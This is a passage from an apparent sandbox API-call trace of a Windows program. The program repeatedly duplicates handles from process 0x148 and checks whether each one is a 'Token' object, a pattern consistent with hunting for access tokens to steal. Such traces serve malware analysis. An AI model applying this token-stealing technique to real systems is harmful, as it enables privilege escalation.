[0196.831] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.831] LocalFree (hMem=0x160a40) returned 0x0 [0196.831] CloseHandle (hObject=0x16c) returned 1 [0196.831] CloseHandle (hObject=0x168) returned 1 [0196.831] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.831] GetCurrentProcess () returned 0xffffffffffffffff [0196.831] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x29c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.831] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.831] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.831] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.831] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.831] LocalFree (hMem=0x160a40) returned 0x0 [0196.831] CloseHandle (hObject=0x16c) returned 1 [0196.831] CloseHandle (hObject=0x168) returned 1 [0196.831] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.831] GetCurrentProcess () returned 0xffffffffffffffff [0196.831] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2a0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.832] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.832] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.832] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.832] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.832] LocalFree (hMem=0x160a40) returned 0x0 [0196.832] CloseHandle (hObject=0x16c) returned 1 [0196.832] CloseHandle (hObject=0x168) returned 1 [0196.832] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.832] GetCurrentProcess () returned 0xffffffffffffffff [0196.832] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2a4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.832] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.832] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.832] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.832] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.832] LocalFree (hMem=0x160a40) returned 0x0 [0196.832] CloseHandle (hObject=0x16c) returned 1 [0196.832] CloseHandle (hObject=0x168) returned 1 [0196.832] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.832] GetCurrentProcess () returned 0xffffffffffffffff [0196.832] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2a8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.832] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.832] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.832] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.832] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.832] LocalFree (hMem=0x160a40) returned 0x0 [0196.833] CloseHandle (hObject=0x16c) returned 1 [0196.833] CloseHandle (hObject=0x168) returned 1 [0196.833] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.833] GetCurrentProcess () returned 0xffffffffffffffff [0196.833] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2ac, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.833] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.833] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.833] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.833] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.833] LocalFree (hMem=0x160a40) returned 0x0 [0196.833] CloseHandle (hObject=0x16c) returned 1 [0196.833] CloseHandle (hObject=0x168) returned 1 [0196.833] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.833] GetCurrentProcess () returned 0xffffffffffffffff [0196.833] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2b0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.833] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.833] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.833] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.833] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.833] LocalFree (hMem=0x160a40) returned 0x0 [0196.833] CloseHandle (hObject=0x16c) returned 1 [0196.833] CloseHandle (hObject=0x168) returned 1 [0196.833] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.834] GetCurrentProcess () returned 0xffffffffffffffff [0196.834] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2b4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.834] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.834] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.834] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.834] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.834] LocalFree (hMem=0x160a40) returned 0x0 [0196.834] CloseHandle (hObject=0x16c) returned 1 [0196.834] CloseHandle (hObject=0x168) returned 1 [0196.834] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.834] GetCurrentProcess () returned 0xffffffffffffffff [0196.834] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2b8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.834] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.834] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.834] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.834] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.834] LocalFree (hMem=0x160a40) returned 0x0 [0196.834] CloseHandle (hObject=0x16c) returned 1 [0196.834] CloseHandle (hObject=0x168) returned 1 [0196.834] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.834] GetCurrentProcess () returned 0xffffffffffffffff [0196.834] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2bc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.834] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.835] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.835] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.835] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.835] LocalFree (hMem=0x181a40) returned 0x0 [0196.835] CloseHandle (hObject=0x16c) returned 1 [0196.835] CloseHandle (hObject=0x168) returned 1 [0196.835] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.835] GetCurrentProcess () returned 0xffffffffffffffff [0196.835] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2c0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.835] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.835] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.835] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.835] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.835] LocalFree (hMem=0x160a40) returned 0x0 [0196.835] CloseHandle (hObject=0x16c) returned 1 [0196.835] CloseHandle (hObject=0x168) returned 1 [0196.835] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.835] GetCurrentProcess () returned 0xffffffffffffffff [0196.835] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2c4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.835] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.835] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.835] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.835] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.835] LocalFree (hMem=0x160a40) returned 0x0 [0196.835] CloseHandle (hObject=0x16c) returned 1 [0196.836] CloseHandle (hObject=0x168) returned 1 [0196.836] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.836] GetCurrentProcess () returned 0xffffffffffffffff [0196.836] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2c8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.836] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.836] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.836] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.836] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.836] LocalFree (hMem=0x160a40) returned 0x0 [0196.836] CloseHandle (hObject=0x16c) returned 1 [0196.836] CloseHandle (hObject=0x168) returned 1 [0196.836] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.836] GetCurrentProcess () returned 0xffffffffffffffff [0196.836] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2d0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.836] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.836] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.836] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.836] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.836] LocalFree (hMem=0x160a40) returned 0x0 [0196.836] CloseHandle (hObject=0x16c) returned 1 [0196.836] CloseHandle (hObject=0x168) returned 1 [0196.836] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.836] GetCurrentProcess () returned 0xffffffffffffffff [0196.837] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2d4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.837] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.837] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.837] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.837] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.837] LocalFree (hMem=0x160a40) returned 0x0 [0196.837] CloseHandle (hObject=0x16c) returned 1 [0196.837] CloseHandle (hObject=0x168) returned 1 [0196.837] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.837] GetCurrentProcess () returned 0xffffffffffffffff [0196.837] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.837] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.837] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.837] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.837] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.837] LocalFree (hMem=0x160a40) returned 0x0 [0196.837] CloseHandle (hObject=0x16c) returned 1 [0196.837] CloseHandle (hObject=0x168) returned 1 [0196.837] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.837] GetCurrentProcess () returned 0xffffffffffffffff [0196.837] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2dc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.837] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.837] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.837] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.838] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.838] LocalFree (hMem=0x160a40) returned 0x0 [0196.838] CloseHandle (hObject=0x16c) returned 1 [0196.838] CloseHandle (hObject=0x168) returned 1 [0196.838] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.838] GetCurrentProcess () returned 0xffffffffffffffff [0196.838] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2e0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.838] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.838] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.838] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.838] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.838] LocalFree (hMem=0x160a40) returned 0x0 [0196.838] CloseHandle (hObject=0x16c) returned 1 [0196.838] CloseHandle (hObject=0x168) returned 1 [0196.838] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.838] GetCurrentProcess () returned 0xffffffffffffffff [0196.838] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2e4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.838] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.838] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.838] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.838] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.838] LocalFree (hMem=0x160a40) returned 0x0 [0196.838] CloseHandle (hObject=0x16c) returned 1 [0196.838] CloseHandle (hObject=0x168) returned 1 [0196.839] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.839] GetCurrentProcess () returned 0xffffffffffffffff [0196.839] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2e8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.839] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.839] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.839] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.839] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.839] LocalFree (hMem=0x160a40) returned 0x0 [0196.839] CloseHandle (hObject=0x16c) returned 1 [0196.839] CloseHandle (hObject=0x168) returned 1 [0196.839] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.839] GetCurrentProcess () returned 0xffffffffffffffff [0196.839] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2ec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.839] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.839] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.839] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.839] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.839] LocalFree (hMem=0x160a40) returned 0x0 [0196.839] CloseHandle (hObject=0x16c) returned 1 [0196.839] CloseHandle (hObject=0x168) returned 1 [0196.839] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.839] GetCurrentProcess () returned 0xffffffffffffffff [0196.839] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2f0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.840] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.840] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.840] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.840] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.840] LocalFree (hMem=0x160a40) returned 0x0 [0196.840] CloseHandle (hObject=0x16c) returned 1 [0196.840] CloseHandle (hObject=0x168) returned 1 [0196.840] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.840] GetCurrentProcess () returned 0xffffffffffffffff [0196.840] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2f8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.840] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.840] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.840] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.840] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.840] LocalFree (hMem=0x160a40) returned 0x0 [0196.840] CloseHandle (hObject=0x16c) returned 1 [0196.840] CloseHandle (hObject=0x168) returned 1 [0196.840] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.840] GetCurrentProcess () returned 0xffffffffffffffff [0196.840] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x2fc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.840] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.840] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.840] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.840] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.841] LocalFree (hMem=0x160a40) returned 0x0 [0196.841] CloseHandle (hObject=0x16c) returned 1 [0196.841] CloseHandle (hObject=0x168) returned 1 [0196.841] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.841] GetCurrentProcess () returned 0xffffffffffffffff [0196.841] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x300, 